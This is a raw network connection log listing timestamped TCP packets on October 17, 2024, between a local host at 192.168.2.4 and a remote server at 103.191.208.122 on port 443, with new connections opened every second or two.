Oct 17, 2024 10:47:48.342781067 CEST	443	57036	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:48.727894068 CEST	443	57036	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:48.727921963 CEST	443	57036	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:48.727988958 CEST	443	57036	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:48.728015900 CEST	57036	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:48.728099108 CEST	57036	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:48.728647947 CEST	57036	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:48.729804993 CEST	57037	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:48.729850054 CEST	443	57037	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:48.730011940 CEST	57037	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:48.730323076 CEST	57037	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:48.730341911 CEST	443	57037	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:49.443341970 CEST	57037	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:49.445343971 CEST	57038	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:49.445380926 CEST	443	57038	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:49.445441961 CEST	57038	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:49.445899963 CEST	57038	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:49.445909977 CEST	443	57038	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:49.487413883 CEST	443	57037	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:49.877881050 CEST	443	57037	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:49.877942085 CEST	57037	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:50.574414015 CEST	443	57038	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:50.574537039 CEST	57038	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:50.576875925 CEST	57038	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:50.576906919 CEST	443	57038	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:50.577296019 CEST	443	57038	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:50.580868959 CEST	57038	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:50.623402119 CEST	443	57038	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:50.953412056 CEST	443	57038	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:50.953493118 CEST	443	57038	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:50.953593016 CEST	57038	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:50.953624010 CEST	443	57038	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:50.953649044 CEST	443	57038	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:50.953716040 CEST	57038	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:50.955485106 CEST	57038	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:50.955506086 CEST	57039	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:50.955611944 CEST	443	57039	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:50.955867052 CEST	57039	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:50.956875086 CEST	57039	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:50.956919909 CEST	443	57039	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:52.087919950 CEST	443	57039	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:52.090012074 CEST	57039	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:52.090089083 CEST	443	57039	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:52.460385084 CEST	443	57039	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:52.460408926 CEST	443	57039	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:52.460460901 CEST	443	57039	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:52.460570097 CEST	57039	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:52.460570097 CEST	57039	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:52.462363005 CEST	57039	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:52.462364912 CEST	57040	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:52.462409973 CEST	443	57040	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:52.465173960 CEST	57040	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:52.465173960 CEST	57040	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:52.465204954 CEST	443	57040	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:53.578058958 CEST	443	57040	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:53.582791090 CEST	57040	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:53.582866907 CEST	443	57040	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:53.956352949 CEST	443	57040	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:53.956418991 CEST	443	57040	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:53.956526041 CEST	57040	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:53.956562996 CEST	443	57040	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:53.956620932 CEST	57040	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:53.957315922 CEST	57040	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:53.959234953 CEST	57041	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:53.959291935 CEST	443	57041	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:53.959378004 CEST	57041	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:53.960063934 CEST	57041	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:53.960095882 CEST	443	57041	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:55.064847946 CEST	443	57041	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:55.066781044 CEST	57041	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:55.066803932 CEST	443	57041	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:55.438383102 CEST	443	57041	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:55.438457012 CEST	443	57041	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:55.438536882 CEST	57041	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:55.438553095 CEST	443	57041	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:55.438592911 CEST	443	57041	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:55.438642979 CEST	57041	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:55.439388990 CEST	57041	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:55.440876007 CEST	57042	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:55.440907955 CEST	443	57042	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:55.441023111 CEST	57042	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:55.441304922 CEST	57042	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:55.441317081 CEST	443	57042	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:56.558878899 CEST	443	57042	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:56.562886953 CEST	57042	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:56.562911034 CEST	443	57042	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:56.933346987 CEST	443	57042	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:56.933407068 CEST	443	57042	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:56.933523893 CEST	443	57042	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:56.933530092 CEST	57042	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:56.933655024 CEST	57042	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:56.934345961 CEST	57042	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:56.935595036 CEST	57043	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:56.935710907 CEST	443	57043	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:56.935851097 CEST	57043	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:56.940867901 CEST	57043	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:56.940898895 CEST	443	57043	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:58.097399950 CEST	443	57043	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:58.099885941 CEST	57043	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:58.099931955 CEST	443	57043	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:58.481973886 CEST	443	57043	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:58.482042074 CEST	443	57043	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:58.482158899 CEST	57043	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:58.482182026 CEST	443	57043	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:58.482673883 CEST	57043	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:58.483042955 CEST	57043	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:58.488859892 CEST	57044	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:58.488939047 CEST	443	57044	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:58.489115000 CEST	57044	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:58.489594936 CEST	57044	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:58.489619017 CEST	443	57044	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:59.631791115 CEST	443	57044	103.191.208.122	192.168.2.4
Oct 17, 2024 10:47:59.634272099 CEST	57044	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:47:59.634289980 CEST	443	57044	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:00.011097908 CEST	443	57044	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:00.011167049 CEST	443	57044	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:00.011259079 CEST	57044	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:00.011301994 CEST	443	57044	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:00.011456013 CEST	443	57044	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:00.011513948 CEST	57044	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:00.012113094 CEST	57044	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:00.013566017 CEST	57045	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:00.013628006 CEST	443	57045	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:00.013689995 CEST	57045	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:00.014022112 CEST	57045	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:00.014036894 CEST	443	57045	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:01.104871988 CEST	443	57045	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:01.106745005 CEST	57045	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:01.106784105 CEST	443	57045	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:01.476468086 CEST	443	57045	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:01.476511002 CEST	443	57045	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:01.476577044 CEST	443	57045	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:01.476579905 CEST	57045	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:01.476617098 CEST	57045	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:01.480947018 CEST	57045	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:01.489398003 CEST	57046	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:01.489458084 CEST	443	57046	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:01.489572048 CEST	57046	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:01.493519068 CEST	57046	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:01.493547916 CEST	443	57046	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:02.879077911 CEST	443	57046	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:02.888875961 CEST	57046	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:02.888900995 CEST	443	57046	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:03.464173079 CEST	443	57046	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:03.464267969 CEST	443	57046	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:03.464334965 CEST	57046	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:03.464365959 CEST	443	57046	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:03.464437008 CEST	443	57046	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:03.464488983 CEST	57046	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:03.465204954 CEST	57046	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:03.466603994 CEST	57047	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:03.466690063 CEST	443	57047	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:03.466772079 CEST	57047	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:03.467129946 CEST	57047	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:03.467148066 CEST	443	57047	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:03.708539009 CEST	57047	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:03.710005999 CEST	57048	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:03.710057974 CEST	443	57048	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:03.710120916 CEST	57048	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:03.710534096 CEST	57048	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:03.710547924 CEST	443	57048	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:03.751411915 CEST	443	57047	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:04.547187090 CEST	443	57047	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:04.547302008 CEST	443	57047	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:04.547442913 CEST	57047	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:04.547442913 CEST	57047	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:04.812055111 CEST	443	57048	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:04.812206984 CEST	57048	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:04.814068079 CEST	57048	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:04.814090967 CEST	443	57048	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:04.814954996 CEST	443	57048	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:04.816742897 CEST	57048	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:04.859404087 CEST	443	57048	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:04.882549047 CEST	57048	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:04.882740021 CEST	443	57048	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:04.882977962 CEST	57048	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:04.883707047 CEST	57049	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:04.883766890 CEST	443	57049	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:04.883898020 CEST	57049	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:04.884180069 CEST	57049	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:04.884213924 CEST	443	57049	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:06.215987921 CEST	443	57049	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:06.216075897 CEST	57049	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:06.218633890 CEST	57049	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:06.218662977 CEST	443	57049	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:06.218903065 CEST	443	57049	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:06.220565081 CEST	57049	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:06.263405085 CEST	443	57049	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:06.595267057 CEST	443	57049	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:06.595290899 CEST	443	57049	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:06.595362902 CEST	443	57049	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:06.595397949 CEST	57049	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:06.595441103 CEST	57049	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:06.596801996 CEST	57049	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:06.597409964 CEST	57050	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:06.597440958 CEST	443	57050	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:06.597644091 CEST	57050	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:06.597882032 CEST	57050	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:06.597893953 CEST	443	57050	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:07.690702915 CEST	443	57050	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:07.692842007 CEST	57050	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:07.692857027 CEST	443	57050	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:08.063155890 CEST	443	57050	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:08.063180923 CEST	443	57050	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:08.063239098 CEST	443	57050	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:08.063262939 CEST	57050	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:08.063308954 CEST	57050	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:08.063898087 CEST	57050	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:08.064968109 CEST	57051	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:08.065025091 CEST	443	57051	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:08.065093994 CEST	57051	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:08.065325022 CEST	57051	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:08.065346956 CEST	443	57051	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:09.154072046 CEST	443	57051	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:09.156811953 CEST	57051	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:09.156894922 CEST	443	57051	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:09.522464991 CEST	443	57051	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:09.522526979 CEST	443	57051	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:09.522604942 CEST	57051	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:09.522655010 CEST	443	57051	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:09.522716045 CEST	57051	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:09.523909092 CEST	57051	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:09.531071901 CEST	57052	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:09.531143904 CEST	443	57052	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:09.531213045 CEST	57052	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:09.531646967 CEST	57052	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:09.531672955 CEST	443	57052	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:10.615833998 CEST	443	57052	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:10.618642092 CEST	57052	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:10.618690014 CEST	443	57052	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:10.986211061 CEST	443	57052	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:10.986282110 CEST	443	57052	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:10.986422062 CEST	443	57052	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:10.986509085 CEST	57052	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:10.988913059 CEST	57052	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:10.990817070 CEST	57053	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:10.990819931 CEST	57052	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:10.990839958 CEST	443	57053	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:10.991034031 CEST	57053	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:10.992775917 CEST	57053	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:10.992788076 CEST	443	57053	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:11.760859966 CEST	57053	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:11.763355017 CEST	57054	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:11.763390064 CEST	443	57054	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:11.763456106 CEST	57054	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:11.764164925 CEST	57054	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:11.764174938 CEST	443	57054	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:11.803438902 CEST	443	57053	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:12.084898949 CEST	443	57053	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:12.084959984 CEST	57053	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:12.876971006 CEST	443	57054	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:12.877125978 CEST	57054	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:12.879168987 CEST	57054	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:12.879179001 CEST	443	57054	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:12.879580975 CEST	443	57054	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:12.884610891 CEST	57054	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:12.927443027 CEST	443	57054	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:13.261281013 CEST	443	57054	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:13.261317015 CEST	443	57054	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:13.261394978 CEST	57054	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:13.261399984 CEST	443	57054	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:13.261671066 CEST	57054	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:13.262820005 CEST	57054	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:13.266947031 CEST	57055	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:13.267011881 CEST	443	57055	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:13.267297029 CEST	57055	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:13.267637014 CEST	57055	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:13.267656088 CEST	443	57055	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:14.344353914 CEST	443	57055	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:14.346316099 CEST	57055	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:14.346385002 CEST	443	57055	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:14.710153103 CEST	443	57055	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:14.710171938 CEST	443	57055	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:14.710237026 CEST	443	57055	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:14.710259914 CEST	57055	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:14.710331917 CEST	57055	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:14.711795092 CEST	57055	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:14.713237047 CEST	57056	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:14.713304043 CEST	443	57056	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:14.713387966 CEST	57056	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:14.713673115 CEST	57056	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:14.713720083 CEST	443	57056	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:15.799315929 CEST	443	57056	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:15.801316023 CEST	57056	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:15.801384926 CEST	443	57056	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:16.180680037 CEST	443	57056	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:16.180707932 CEST	443	57056	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:16.180773020 CEST	443	57056	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:16.180780888 CEST	57056	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:16.180833101 CEST	57056	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:16.181560993 CEST	57056	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:16.182687044 CEST	57057	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:16.182746887 CEST	443	57057	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:16.182826996 CEST	57057	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:16.183111906 CEST	57057	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:16.183132887 CEST	443	57057	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:17.277039051 CEST	443	57057	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:17.278796911 CEST	57057	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:17.278815985 CEST	443	57057	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:17.644743919 CEST	443	57057	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:17.644776106 CEST	443	57057	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:17.644843102 CEST	443	57057	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:17.644853115 CEST	57057	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:17.644892931 CEST	57057	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:17.645977020 CEST	57057	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:17.647572994 CEST	57058	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:17.647598982 CEST	443	57058	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:17.647665977 CEST	57058	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:17.647947073 CEST	57058	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:17.647962093 CEST	443	57058	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:18.735116005 CEST	443	57058	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:18.747160912 CEST	57058	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:18.747181892 CEST	443	57058	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:19.109143019 CEST	443	57058	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:19.109178066 CEST	443	57058	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:19.109255075 CEST	443	57058	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:19.109286070 CEST	57058	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:19.110932112 CEST	57058	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:19.112382889 CEST	57058	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:19.112390995 CEST	57059	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:19.112489939 CEST	443	57059	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:19.112773895 CEST	57059	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:19.115086079 CEST	57059	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:19.115127087 CEST	443	57059	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:20.182303905 CEST	443	57059	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:20.184549093 CEST	57059	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:20.184612989 CEST	443	57059	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:20.549199104 CEST	443	57059	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:20.549273014 CEST	443	57059	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:20.549403906 CEST	57059	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:20.549408913 CEST	443	57059	103.191.208.122	192.168.2.4
Oct 17, 2024 10:48:20.551394939 CEST	57059	443	192.168.2.4	103.191.208.122
Oct 17, 2024 10:48:20.552032948 CEST	57059	443	192.168.2.4	103.191.208.122
